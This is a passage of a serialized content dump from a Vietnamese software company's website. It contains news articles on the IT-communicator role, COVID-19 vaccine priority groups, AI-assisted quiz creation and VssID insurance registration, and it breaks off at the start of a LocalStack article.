hợp.",[11,6503,6504],{},[20,6505,4944],{},[11,6507,6508],{},[58,6509,6510],{"href":6510,"rel":6511},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-13-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":6513},[],"2025-03-03",{},"\u002Fvi\u002Fnews\u002Fcong-cu-kiem-thu",{"title":6150,"description":6155},"vi\u002Fnews\u002Fcong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170758\u002FScreenshot-2025-02-21-170538.png","Wh7CkOQqySFHao6zhZ8pqOpn2uGaqZ-QKB1o-HRNwtE",{"id":6522,"title":6523,"body":6524,"category":69,"created by":70,"date":6701,"description":6702,"extension":72,"meta":6703,"navigation":74,"path":6704,"sections":76,"seo":6705,"stem":6706,"thumbnail":6707,"__hash__":6708},"content_vi\u002Fvi\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam.md","CÔNG VIỆC CỦA IT-COM Ở BRISWELL VIETNAM",{"type":8,"value":6525,"toc":6699},[6526,6529,6532,6548,6551,6557,6560,6564,6570,6573,6590,6593,6610,6616,6622,6627,6632,6638,6673,6679,6682,6685,6689,6692],[11,6527,6528],{},"Những năm gần đây, cùng với sự phát triển nhanh chóng của ngành công nghệ thông tin (IT: Information Technology), nhu cầu sử dụng nhân sự cho ngành IT như lập trình viên,… cũng tăng cao. Đặc biệt là ở các nước phát triển như Nhật Bản.",[11,6530,6531],{},"Hiện nay đang có nhiều công ty phát triển phần mềm Nhật Bản sử dụng nguồn nhân lực ngành IT của những nước đang phát triển như Việt Nam dưới hình thức Outsourcing hay xây dựng công ty offshore.",[855,6533,6535,6536,6535,6544],{"style":6534},"display:flex; gap:24px; align-items:flex-start;","\n  ",[855,6537,6539,6540,6535],{"style":6538},"width:40%;","\n    ",[533,6541],{"src":6542,"alt":66,"style":6543},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02163009\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%891-768x432.jpg","width:100%; height:auto;",[855,6545,6547],{"style":6546},"width:60%;","\n    Mặc dù vậy, những lập trình viên biết tiếng Nhật là rất ít và người Nhật cũng rất ít khi dùng ngoại ngữ để làm việc. Để các lập trình viên Việt Nam và quản lý dự án, khách hàng người Nhật có thể hiểu được nhau, cần có người thành thục cả hai ngôn ngữ tiếng Nhật và tiếng Việt, đồng thời họ cũng phải hiểu rõ được kỹ thuật, nghiệp vụ ngành IT. Và người đó chính là IT-COM.\n  ",[11,6549,6550],{},"Có lẽ mọi người cũng không còn quá xa lạ với cụm từ này. Briswell Vietnam chúng tôi là một trong những công ty IT offshore ở Việt Nam có trụ sở chính ở Tokyo, Nhật Bản. Hãy cùng chúng tôi tìm hiểu xem IT-COM là ai, và những điều đặc biệt của IT-COM ở Briswell Vietnam nhé.",[1800,6552,6554],{"id":6553},"_1-it-com-là-ai",[20,6555,6556],{},"1. IT-COM là ai?",[11,6558,6559],{},"IT-COM là cụm từ được viết tắt từ Information Technology Communicator, hay còn được gọi là IT-Comter. IT-COM là người đứng giữa các lập trình viên, quản lý dự án, khách hàng người Nhật (sau đây sẽ gọi là phía Nhật Bản) và các lập trình viên, leader phát triển dự án người Việt Nam (sau đây sẽ gọi là phía Việt Nam) để giúp hai bên giao tiếp và làm việc được với nhau.",[533,6561],{"className":6562,"alt":66,"src":6563,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F03\u002F26143951\u002Fit_com-1-768x356.png",[1800,6565,6567],{"id":6566},"_2-công-việc-của-một-it-com-gồm-những-gì-và-it-com-ở-briswell-vietnam-làm-những-gì",[20,6568,6569],{},"2. Công việc của một IT-COM gồm những gì và IT-COM ở Briswell Vietnam làm những gì?",[11,6571,6572],{},"Mỗi công ty sẽ có những yêu cầu riêng cho công việc của một IT-COM. Tuy nhiên, hầu hết một IT-COM sẽ phải làm những công việc cơ bản dưới đây:",[31,6574,6575,6578,6581,6584,6587],{},[34,6576,6577],{},"Dịch các file thiết kế dự án như thiết kế DB, thiết kế màn hình, thiết kế API,…",[34,6579,6580],{},"Thông dịch trong các cuộc họp với phía Nhật",[34,6582,6583],{},"Thư ký ghi chép các cuộc họp (và dịch ghi chép)",[34,6585,6586],{},"Dịch các câu hỏi, câu trả lời giữa phía Việt Nam và phía Nhật Bản",[34,6588,6589],{},"Dịch feedback (bug, v.v...) của phía Nhật",[11,6591,6592],{},"Ở Briswell Vietnam, IT-COM ngoài công việc kể trên, cũng đảm nhận thêm các công việc như sau:",[31,6594,6595,6598,6601,6604,6607],{},[34,6596,6597],{},"Hiểu logic nghiệp vụ dự án và giải thích nghiệp vụ đó cho lập trình viên khi cần",[34,6599,6600],{},"Viết test condition cho unit test và integration test dựa trên thiết kế",[34,6602,6603],{},"Thực hiện unit test và integration test",[34,6605,6606],{},"Quản lý và báo cáo tiến độ dự án khi cần",[34,6608,6609],{},"Viết tài các tài liệu thiết kế (thiết kế DB, thiết kế API, thiết kế màn hình, thiết kế Batch, thiết kế report) dựa trên requirement",[11,6611,6612,6615],{},[20,6613,6614],{},"Hỏi:"," Tại sao Briswell Vietnam lại yêu cầu IT-COM phải hiểu được logic nghiệp vụ dự án?",[11,6617,6618,6621],{},[20,6619,6620],{},"Trả lời:"," Vì ở Briswell Vietnam, IT-COM đóng vai trò rất quan trọng, dự án tiến hành trôi chảy hay không, thành công hay không thì vai trò của IT-COM cũng là một trong những yếu tố quyết định. Nếu một IT-COM chỉ biết dịch mà hoàn toàn không nắm được nghiệp vụ của dự án thì việc truyền đạt chỉ dừng lại ở mức dịch word by word qua tiếng Việt. Việc dịch thô như vậy sẽ khiến cho các lập trình viên phía Việt Nam phải đau đầu suy nghĩ và tốn nhiều thời gian hơn để hiểu hoặc xác nhận lại yêu cầu. IT-COM hiểu được nghiệp vụ của dự án thì mới có thể truyền đạt đúng và nhanh nhất những điều mà phía Nhật yêu cầu cho phía Việt Nam và ngược lại. Những công việc như viết test condition cho unit test, integration test và thực hiện test không chỉ giúp IT-COM hiểu được nghiệp vụ của dự án mà còn giúp hiểu hơn về kiến thức IT.",[11,6623,6624,6626],{},[20,6625,6614],{}," Những việc như viết test condition, thực hiện test, liệu có khó đối với IT-COM?",[11,6628,6629,6631],{},[20,6630,6620],{}," IT-COM đa phần đều xuất thân từ ngành ngôn ngữ, nên việc tiếp xúc với một chuyên môn như IT ban đầu có lẽ sẽ khó khăn. Tuy nhiên ở Briswell Vietnam chúng tôi có đào tạo IT-COM từ con số 0 cho nên đừng quá lo lắng, chỉ cần có ý chí quyết âm là được.",[1800,6633,6635],{"id":6634},"_3-những-năng-lực-và-kỹ-năng-cần-thiết-để-trở-thành-it-com-ở-briswell-vietnam",[20,6636,6637],{},"3. Những năng lực và kỹ năng cần thiết để trở thành IT-COM ở Briswell Vietnam.",[855,6639,6535,6640,6667],{"style":6534},[855,6641,6643,6644],{"style":6642},"width:70%;","\nĐể đáp ứng được yêu cầu công việc của một IT-COM ở Briswell Vietnam, bạn phải có những năng lực, kiến thức và tư duy dưới đây:\n",[31,6645,6646,6649,6652,6655,6658,6661,6664],{},[34,6647,6648],{},"Trình độ tiếng Nhật tương đương N2 trở lên.",[34,6650,6651],{},"Có thể nói chuyện trực tiếp hoặc chat với người Nhật phụ trách để xác nhận yêu cầu, đề xuất phát triển ứng dụng.",[34,6653,6654],{},"Có ý hướng muốn làm trong lĩnh vực IT.",[34,6656,6657],{},"Phải làm sáng tỏ khách hàng, cộng sự muốn gì, hiểu rõ để đối ứng.",[34,6659,6660],{},"Hiểu rõ bản thân hiện tại của mình để cải thiện.",[34,6662,6663],{},"Có trách nhiệm và thực hiện theo những gì đã cam kết và thời hạn giao hàng.",[34,6665,6666],{},"Xem trọng thành quả chung của nhóm, không phải của riêng cá nhân mình.",[855,6668,6535,6670],{"style":6669},"width:30%;",[533,6671],{"src":6672,"alt":66,"style":6543},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164355\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%893-768x432.jpg",[1800,6674,6676],{"id":6675},"_4-làm-sao-để-trở-thành-một-it-com-giỏi",[20,6677,6678],{},"4. Làm sao để trở thành một IT-COM giỏi?",[11,6680,6681],{},"Ngoài những điều đã nêu ở trên, để trở thành một IT-COM giỏi thì điều gì là quan trọng nhất? Bật mí bí quyết từ các anh chị IT-COM ở Briswell Vietnam thì đó chính là tinh thần tự học. Có lẽ không phải chỉ IT-COM mà trong bất cứ ngành nghề nào, việc tự học hỏi, tự rèn luyện để nâng cao tay nghề cũng là điều quan trọng nhất. Và để làm được điều đó, chắc hẳn phải thực sự nghiêm túc và đam mê với  nghề.",[11,6683,6684],{},"Ngoài ra, kinh nghiệm cũng là một thứ quan trọng không kém. Không ai có thể giỏi ngay từ lần đầu tiên. Vì vậy, hãy thoải mái, nỗ lực hết mình và học hỏi từ những thất bại và thành công của bản thân. Việc học hỏi từ những người đi trước cũng quan trọng, nhưng tự mình trải nghiệm và nhận ra không phải là phương pháp tuyệt vời nhất hay sao?",[533,6686],{"className":6687,"alt":66,"src":6688,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164848\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%894-768x432.jpg",[11,6690,6691],{},"Mong rằng bài ký sự ngắn này đã có thể giúp bạn hiểu được công việc của một IT-COM ở Briswell Vietnam. Chúc bạn sức khoẻ và hẹn gặp bạn ở những bài ký sự sau!!!",[11,6693,6694,6695],{},"Nguồn hình minh họa: ",[58,6696,6697],{"href":6697,"rel":6698},"https:\u002F\u002Fwww.clipartmax.com\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":6700},[],"2024-04-02","Những năm gần đây, cùng với sự phát triển nhanh chóng của ngành công nghệ thông tin (IT: Information Technology), nhu cầu sử dụng nhân sự cho ngành IT như lập trình viên,… cũng tăng cao. Đặc biệt là ở các nước phát triển như Nhật Bản. Hiện nay đang có nhiều công ty phát triển phần mềm Nhật Bản sử dụng nguồn nhân lực ngành IT của những nước đang phát triển như Việt Nam dưới hình thức Outsourcing hay xây dựng công ty offshore.",{},"\u002Fvi\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam",{"title":6523,"description":6702},"vi\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F21085800\u002Fclipart1702370-e1711439089367.png","EF8L9Q3LbX6rbot-mPnoJn2SZdLlt0-RnB1rS5Ee-xQ",{"id":6710,"title":6711,"body":6712,"category":69,"created by":70,"date":6777,"description":6716,"extension":72,"meta":6778,"navigation":74,"path":6779,"sections":76,"seo":6780,"stem":6781,"thumbnail":6782,"__hash__":6783},"content_vi\u002Fvi\u002Fnews\u002Fcovid19-vaccination-vn.md","11 NHÓM ĐỐI TƯỢNG ƯU TIÊN TIÊM VẮC XIN PHÒNG COVID-19 Ở VIỆT NAM",{"type":8,"value":6713,"toc":6775},[6714,6717,6720,6755,6758,6769,6772],[11,6715,6716],{},"Bộ Y tế vừa ban hành Quyết định 1210\u002FQĐ-BYT về việc phê duyệt kế hoạch tiếp nhận, bảo quản, phân phối và sử dụng vắc xin phòng Covid-19 giai đoạn 2021-2022 do COVAX Facility hỗ trợ.",[11,6718,6719],{},"11 nhóm đối tượng tiêm vắc xin Covid-19 sắp xếp theo mức độ ưu tiên theo tình huống dịch và trong bối cảnh nguồn vắc xin cung cấp còn hạn chế tại Việt Nam, gồm các đối tượng sau đây:",[855,6721,6722,6725,6728,6731,6734,6737,6740,6743,6746,6749,6752],{"style":2672},[11,6723,6724],{},"1. Nhân viên y tế;",[11,6726,6727],{},"2. Nhân viên tham gia phòng chống dịch (Ban Chỉ đạo các cấp, nhân viên khu cách ly, phóng viên...);",[11,6729,6730],{},"3. Nhân viên ngoại giao, hải quan, cán bộ làm công tác xuất nhập cảnh;",[11,6732,6733],{},"4. Lực lượng quân đội;",[11,6735,6736],{},"5. Lực lượng công an;",[11,6738,6739],{},"6. Giáo viên;",[11,6741,6742],{},"7. Người trên 65 tuổi;",[11,6744,6745],{},"8. Nhóm cung cấp dịch vụ thiết yếu: hàng không, vận tải, du lịch, cung cấp dịch vụ điện, nước...",[11,6747,6748],{},"9. Người mắc các bệnh mãn tính;",[11,6750,6751],{},"10. Người có nhu cầu đi công tác, học tập, lao động ở nước ngoài;",[11,6753,6754],{},"11. Người tại vùng dịch theo chỉ định dịch tễ.",[11,6756,6757],{},"Với số lượng 4.886.600 liều vắc xin ngừa COVID-19 được phân bổ cho các nhóm đối tượng như sau:",[31,6759,6760,6763,6766],{},[34,6761,6762],{},"Quý I\u002F2021: Số lượng: khoảng 1,2 triệu liều tương đương với 600.000 người. Gồm nhân viên y tế và nhân viên tham gia chống dịch.",[34,6764,6765],{},"Quý II\u002F2021: Số lượng: khoảng 3,6 triệu liều tương ứng với 1,8 triệu người. Gồm cán bộ Hải quan, cán bộ ngoại giao, lực lượng quân đội, lực lượng công an và giáo viên.",[34,6767,6768],{},"Quý III, IV\u002F2021: Số vắc xin còn lại COVAX Facility dự kiến hỗ trợ từ Quý III\u002F2021.",[11,6770,6771],{},"Số lượng: khoảng 33 triệu liều tương ứng với 16 triệu người. Gồm giáo viên, người trên 65 tuổi, những người cung cấp dịch vụ thiết yếu (hải quan, ngoại giao, hàng không, vận tải, du lịch), những người mắc bệnh mãn tính trưởng thành.",[11,6773,6774],{},"Quyết định này được ban hành và có hiệu lực từ ngày 09\u002F02\u002F2021.",{"title":66,"searchDepth":67,"depth":67,"links":6776},[],"2021-04-09",{},"\u002Fvi\u002Fnews\u002Fcovid19-vaccination-vn",{"title":6711,"description":6716},"vi\u002Fnews\u002Fcovid19-vaccination-vn","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F25135620\u002FFeature-image.png","ptkSOKVvM6C6FOWgFG0ja9wB_qNtyK0bZLiY5yROn1I",{"id":6785,"title":6786,"body":6787,"category":6940,"created by":70,"date":6941,"description":6942,"extension":72,"meta":6943,"navigation":74,"path":6944,"sections":76,"seo":6945,"stem":6946,"thumbnail":6947,"__hash__":6948},"content_vi\u002Fvi\u002Fnews\u002Fcreatedocument-by-generativeai.md","Từ tạo nội dung bài kiểm tra bằng AI tạo sinh (Generative AI) đến đăng tải | Exam Site",{"type":8,"value":6788,"toc":6930},[6789,6793,6796,6803,6807,6810,6813,6817,6820,6838,6842,6845,6848,6852,6855,6858,6861,6864,6868,6876,6879,6882,6888,6891,6899,6902,6905,6913,6917,6920,6923],[498,6790,6792],{"id":6791},"giới-thiệu-về-exam-site","Giới thiệu về Exam Site",[11,6794,6795],{},"Exam Site là trang web có nội dung bao gồm các bài kiểm tra kiến thức về nhiều lĩnh vực như Lập trình (AWS, NodeJs,...), ngôn ngữ (TOEIC, JLPT N3,...) do công ty chúng tôi xây dựng và phát triển. Trang web này hiện tại vẫn đang ở phiên bản beta. Mọi người có thể truy cập trang web Exam Site bằng cách click vào link dưới đây.",[11,6797,6798],{},[58,6799,6802],{"href":6800,"rel":6801,"title":6802},"https:\u002F\u002Fexam-site.briswell-vn.com\u002F",[62],"Exam Site",[498,6804,6806],{"id":6805},"cách-một-bài-kiểm-tra-được-tạo-ra-ở-exam-site","Cách một bài kiểm tra được tạo ra ở Exam Site",[11,6808,6809],{},"Bình thường, để tạo một bài kiểm tra có đầy đủ câu hỏi, đáp án và giải thích sẽ cần rất nhiều thời gian. Ngoài thời gian tạo nội dung câu hỏi, cần tốn thêm thời gian để kiểm tra lại xem ngữ pháp, từ ngữ, nội dung đã đúng, thích hợp hay chưa. Chính vì vậy, chúng tôi đã áp dụng một số dịch vụ AI để nâng cao hiệu suất, đưa đến những bài kiểm tra chất lượng.",[11,6811,6812],{},"Sau đây là quy trình để tạo ra một bài kiểm tra Năng lực tiếng Nhật JLPT trình độ N3.",[657,6814,6816],{"id":6815},"_1-tạo-câu-hỏi","1. Tạo câu hỏi",[11,6818,6819],{},"Khi tạo câu hỏi, thường có 2 cách như sau:",[31,6821,6822,6825],{},[34,6823,6824],{},"Sử dụng Prompt: Cho ChatGPT tạo câu hỏi dựa trên những thông tin chúng ta đưa ra.",[34,6826,6827,6828,6832,6833,974],{},"Cách tạo câu hỏi từ tài liệu có sẵn: Cho ChatGPT đọc đoạn tài liệu có sẵn và tạo giúp những câu hỏi dựa trên nội dung của đoạn tài liệu đó. Ví dụ: Cho ChatGPT đọc ",[58,6829,6831],{"href":6830},"\u002Fvi\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10\u002F","bài viết của trang web này"," thì nó sẽ tạo ra ",[58,6834,6837],{"href":6835,"rel":6836},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002FcopKXQI21W",[62],"bài kiểm tra này",[657,6839,6841],{"id":6840},"_2-thêm-hình-ảnh","2. Thêm hình ảnh",[11,6843,6844],{},"Tìm kiếm hình ảnh miễn phí phù hợp với nội dung câu hỏi.",[11,6846,6847],{},"(DALL E-3 của ChatGPT hiện tại đã có thể sử dụng nên sau này có thể chúng tôi cũng sẽ sử dụng dịch vụ của AI tạo sinh này.)",[657,6849,6851],{"id":6850},"_3-review","3. Review",[11,6853,6854],{},"Về bước review, sẽ kết hợp giữa con người và sự giúp đỡ của AI.",[11,6856,6857],{},"AI đóng vai trò kiểm tra xem câu trả lời và giải thích đáp án có khớp với nhau hay không. Hiện tại, chúng tôi đang sử dụng ChatGPT, Bing, Google Bard để làm điều này.",[11,6859,6860],{},"Còn vai trò chủ yếu của người review là kiểm tra xem nội dung câu hỏi có phù hợp hay không. Những vấn đề thường hay xảy ra khi tạo câu hỏi bằng AI là những đáp án sai được sử dụng ở nhiều câu hỏi nên người làm bài test sẽ dễ dàng nhận ra rằng đó là đáp án sai, hay ở những câu hỏi có 4 đáp án thì đáp án cuối cùng luôn là đáp án sai, gây phát sinh những thiên kiến mặc định không tốt.",[11,6862,6863],{},"Có thể vấn đề nằm ở cách sử dụng prompt để tạo câu hỏi, tuy nhiên chúng tôi vẫn đang giữ cách review bằng sự kết hợp giữa con người và AI như đã nói ở trên.",[657,6865,6867],{"id":6866},"_4-tạo-file-âm-thanh","4. Tạo file âm thanh",[11,6869,6870,6871,974],{},"Về việc tạo file âm thanh, chúng tôi đã rất băn khoăn giữa các dịch vụ AI như Text to Speech của Google hay Natural Readers,...Nhưng cuối cùng thì chúng tôi đã chọn dịch vụ ",[58,6872,6875],{"href":6873,"rel":6874,"title":6875},"https:\u002F\u002Fwww.narakeet.com\u002F",[62],"Narakeet",[11,6877,6878],{},"So với các dịch vụ khác thì âm thanh khi tạo bằng Narakeet nghe tự nhiên hơn và có thể tạo file âm thanh bằng file kịch bản cụ thể. Nhờ khả năng tạo âm thanh bằng kịch bản, chúng tôi có thể tạo file âm thanh của một đoạn hội thoại với sự chuyển tiếp giữa các voice của các nhân vật mà không cần phải chỉnh sửa, hay khi muốn sửa nội dung một chút cũng dễ dàng hơn rất nhiều.",[11,6880,6881],{},"Ví dụ về file kịch bản",[696,6883,6886],{"className":6884,"code":6885,"language":701},[699],"(voice: Takeshi) \n4番： \n(voice: Tomoka) \n明日の会議は8時半からです。遅れないようにしてください。 (\nvoice: Takeshi) \n1. \n(voice: Kasumi) \n了解しました。 \n(voice: Takeshi) \n2. \n(voice: Kasumi) \n構わないです。 \n(voice: Takeshi) \n3. \n(voice: Kasumi) \nどういたしまして。\n",[703,6887,6885],{"__ignoreMap":66},[11,6889,6890],{},"Kết quả file âm thanh được xuất ra như sau.",[6892,6893,6535,6895],"audio",{"controls":74,"style":6894},"width: 100%",[6896,6897],"source",{"src":6898},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F25170220\u002FMondai-5.4.mp3",[11,6900,6901],{},"Như vậy, chúng ta đã hoàn thành việc tạo một bài kiểm tra.",[11,6903,6904],{},"Việc còn lại là đăng tải bài kiểm tra đã tạo lên trang web Exam Site.",[11,6906,6907,6908],{},"Dưới đây là bài kiểm tra kỹ năng Nghe kỳ thi Đánh giá năng lực Nhật ngữ trình độ N3 được tạo ra từ những bước trên.\n",[58,6909,6912],{"href":6910,"rel":6911,"title":6912},"https:\u002F\u002Fexam-site.briswell-vn.com\u002Ftesting\u002Fjlpt-n3-listening-1",[62],"JLPT N3 問題 - 聴解①",[498,6914,6916],{"id":6915},"cuối-cùng","Cuối cùng",[11,6918,6919],{},"Chúng tôi đang và sẽ tiếp tục ứng dụng nhiều thành tựu công nghệ để tạo ra những bài kiểm tra đa dạng và hiệu quả. Bằng quy trình trên, chúng tôi mong muốn sẽ tạo ra được nhiều bài kiểm tra bổ ích để đưa tới cho mọi người.",[11,6921,6922],{},"Hãy follow trang X(Twitter) của chúng mình để cập nhật thêm nhiều thông tin bổ ích nhé!",[11,6924,6925],{},[58,6926,6929],{"href":6927,"rel":6928,"title":6929},"https:\u002F\u002Ftwitter.com\u002FTrainJapan_Exam",[62],"Train Japanese | Exam Site",{"title":66,"searchDepth":67,"depth":67,"links":6931},[6932,6933,6939],{"id":6791,"depth":67,"text":6792},{"id":6805,"depth":67,"text":6806,"children":6934},[6935,6936,6937,6938],{"id":6815,"depth":1417,"text":6816},{"id":6840,"depth":1417,"text":6841},{"id":6850,"depth":1417,"text":6851},{"id":6866,"depth":1417,"text":6867},{"id":6915,"depth":67,"text":6916},"AI","2023-11-03","Giới thiệu về Exam Site Exam Site là trang web có nội dung bao gồm các bài kiểm tra kiến thức về nhiều lĩnh vực như Lập trình (AWS, NodeJs,...), ngôn ngữ (TOEIC, JLPT N3,...) do công ty chúng tôi xây dựng và phát triển. Trang web này hiện tại vẫn đang ở phiên bản beta. Mọi người có thể truy cập trang web Exam Site bằng cách click vào link dưới đây.",{},"\u002Fvi\u002Fnews\u002Fcreatedocument-by-generativeai",{"title":6786,"description":6942},"vi\u002Fnews\u002Fcreatedocument-by-generativeai","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F11\u002F03095653\u002Fexam-site-top.png","G6J4iyum25Lrj696TCrDKsLE1amG8t3Mu3citehX74s",{"id":6950,"title":6951,"body":6952,"category":69,"created by":70,"date":7101,"description":6956,"extension":72,"meta":7102,"navigation":74,"path":7103,"sections":76,"seo":7104,"stem":7105,"thumbnail":7106,"__hash__":7107},"content_vi\u002Fvi\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so.md","Đăng ký mở tài khoản giao dịch điện tử với VssID - Bảo hiểm xã hội số",{"type":8,"value":6953,"toc":7099},[6954,6957,6960,6963,6969,6988,6991,7001,7006,7031,7040,7073],[11,6955,6956],{},"Nhằm hướng tới tích hợp tiện ích sổ bảo hiểm xã hội (BHXH), thẻ bảo hiểm y tế (BHYT) điện tử dần thay thế sổ và thẻ giấy, giúp cho người dân thực hiện dịch vụ công trực tuyến về BHXH, BHYT được thuận lợi hơn. “Ứng dụng Bảo hiểm xã hội Việt Nam trên nền tảng thiết bị di động” có tên gọi “VssID - Bảo hiểm xã hội số” đã được ra đời.",[11,6958,6959],{},"Để đăng nhập và sử dụng các chức năng, tiện ích của ứng dụng. Người dùng cần đăng ký mở tài khoản giao dịch điện tử với cơ quan BHXH và tải ứng dụng VssID-Bảo hiểm xã hội số để sử dụng phần mềm.",[11,6961,6962],{},"Để mở tài khoản, người dùng cần làm theo các bước hướng dẫn như sau:",[11,6964,6965,6966,64],{},"Đăng nhập vào trang web ",[58,6967,2600],{"href":2600,"rel":6968},[62],[11,6970,6971,6972,6975,6976,6979,6980,6983,6984,6987],{},"- Nhấn “",[20,6973,6974],{},"Đăng ký","” chọn đối tượng “",[20,6977,6978],{},"Cá nhân","” rồi bấm “",[20,6981,6982],{},"Tiếp","” sẽ thấy “",[20,6985,6986],{},"Tờ Khai","” ",[11,6989,6990],{},"- Cập nhật ảnh: ",[855,6992,6993],{"style":2672},[31,6994,6995,6998],{},[34,6996,6997],{},"Ảnh chân dung (khổ 4x6)",[34,6999,7000],{},"Ảnh CMND\u002FCCCD\u002Fhộ chiếu: mặt trước và mặt sau ",[31,7002,7003],{},[34,7004,7005],{},"Khai báo các thông tin bắt buộc gồm: ",[855,7007,7008],{"style":2672},[31,7009,7010,7013,7016,7019,7022,7025,7028],{},[34,7011,7012],{},"Họ và tên (viết đầy đủ có dấu) ",[34,7014,7015],{},"Mã số bảo hiểm xã hội (là 10 số cuối trên thẻ BHYT) ",[34,7017,7018],{},"Số CMND\u002FHC\u002FCCCD ",[34,7020,7021],{},"Địa chỉ liên hệ ",[34,7023,7024],{},"Người liên hệ",[34,7026,7027],{},"Địa chỉ thư điện tử",[34,7029,7030],{},"Điện thoại di động ",[31,7032,7033],{},[34,7034,7035,7036,7039],{},"Bấm nút “",[20,7037,7038],{},"CHỌN","” để chọn cơ quan BHXH tiếp nhận đăng ký: ",[855,7041,7042,7058,7063,7068],{"style":2672},[31,7043,7044],{},[34,7045,7046,7047],{},"[079] BHXH TP. Hồ Chí Minh  \n",[31,7048,7049,7052],{},[34,7050,7051],{},"[07911] BHXH Quận 3",[34,7053,7054,7055,730],{},"Nhấp nút “",[20,7056,7057],{},"Chọn",[11,7059,7060,64],{},[20,7061,7062],{},"Lưu ý:",[11,7064,7065],{},[1277,7066,7067],{},"Trường hợp người dùng đăng ký mở tài khoản và gửi Tờ khai cho công ty thì chọn cơ quan BHXH tiếp nhận đăng ký dựa theo cơ quan BHXH của công ty người đăng ký (địa chỉ trụ sở Công ty của bạn đóng ở Quận nào thì chọn cơ quan BHXH Quận đó nhé).",[11,7069,7070],{},[1277,7071,7072],{},"Trường hợp là cá nhân đăng ký mở tài khoản và tự nộp Tờ khai trực tiếp đến cơ quan BHXH thì chọn cơ quan BHXH gần bạn nhất.",[31,7074,7075,7082,7096],{},[34,7076,7077,7078,7081],{},"Cuối cùng bấm nút “",[20,7079,7080],{},"Ghi nhận","”: sẽ xuất file Tờ Khai, người đăng ký sẽ in Tờ khai, ký tên và nộp cho Bộ phận phụ trách của Công ty (thông thường là bộ phận hành chính nhân sự) tổng hợp và nộp về cơ quan BHXH Quận tiếp nhận đăng ký (như đã chọn cơ quan BHXH đăng ký ở phía trên) để duyệt và kích hoạt (gửi mã số và password đăng nhập vào điện thoại di động của người đăng ký). ",[34,7083,7084,7085],{},"Tải ứng dụng BHXH số - VssID",[31,7086,7087,7090,7093],{},[34,7088,7089],{},"Người dùng vào kho ứng dụng Google Play (hệ điều hành Android) hoặc AppStore (hệ điều hành iOS), gõ vào ô tìm kiếm từ khóa “VssID”;",[34,7091,7092],{},"Chọn ứng dụng VssID (hình LOGO của ngành BHXH, màu xanh);",[34,7094,7095],{},"Chọn “Cài đặt\u002FInstall” để thực hiện cài đặt ứng dụng.",[34,7097,7098],{},"Sau khi người đăng ký lấy mã số BHXH và password trong tin nhắn từ BHXH Việt Nam thì người dùng có thể đăng nhập vào ứng dụng VssID để xem quá trình tham gia BHXH, BHYT và các tiện ích khác.",{"title":66,"searchDepth":67,"depth":67,"links":7100},[],"2021-05-27",{},"\u002Fvi\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so",{"title":6951,"description":6956},"vi\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F07170644\u002FDangKyMoVssID.png","2EPD952NCcr4qBVTKz3_urWukNldbT7kHdEttbk7VT4",{"id":7109,"title":7110,"body":7111,"category":1430,"created by":70,"date":7496,"description":7121,"extension":72,"meta":7497,"navigation":74,"path":7498,"sections":76,"seo":7499,"stem":7500,"thumbnail":7501,"__hash__":7502},"content_vi\u002Fvi\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack.md","Debugging AWS Lambda với LocalStack",{"type":8,"value":7112,"toc":7469},[7113,7119,7122,7124,7130,7133,7139,7145,7148,7154,7160,7163,7169,7173,7177,7180,7186,7189,7195,7199,7202,7208,7211,7215,7218,7222,7226,7230,7233,7239,7243,7246,7252,7255,7258,7264,7267,7273,7277,7280,7286,7290,7293,7299,7302,7306,7310,7313,7317,7320,7326,7329,7333,7337,7341,7344,7350,7353,7361,7365,7368,7374,7376,7395,7399,7401,7405,7408,7412,7415,7419,7423,7429,7435,7441,7447,7453,7457,7460,7463],[498,7114,7116],{"id":7115},"localstack-là-gì",[20,7117,7118],{},"LocalStack là gì?",[11,7120,7121],{},"LocalStack là một công cụ phát triển phần mềm mã nguồn mở giúp bạn triển khai và chạy ứng dụng trên môi trường đám mây giả lập trên máy tính cá nhân hoặc máy chủ của bạn. Nó cung cấp một bản sao của nhiều dịch vụ đám mây phổ biến, chẳng hạn như Amazon S3, AWS Lambda, DynamoDB, và nhiều dịch vụ khác. Điều này cho phép bạn phát triển, kiểm 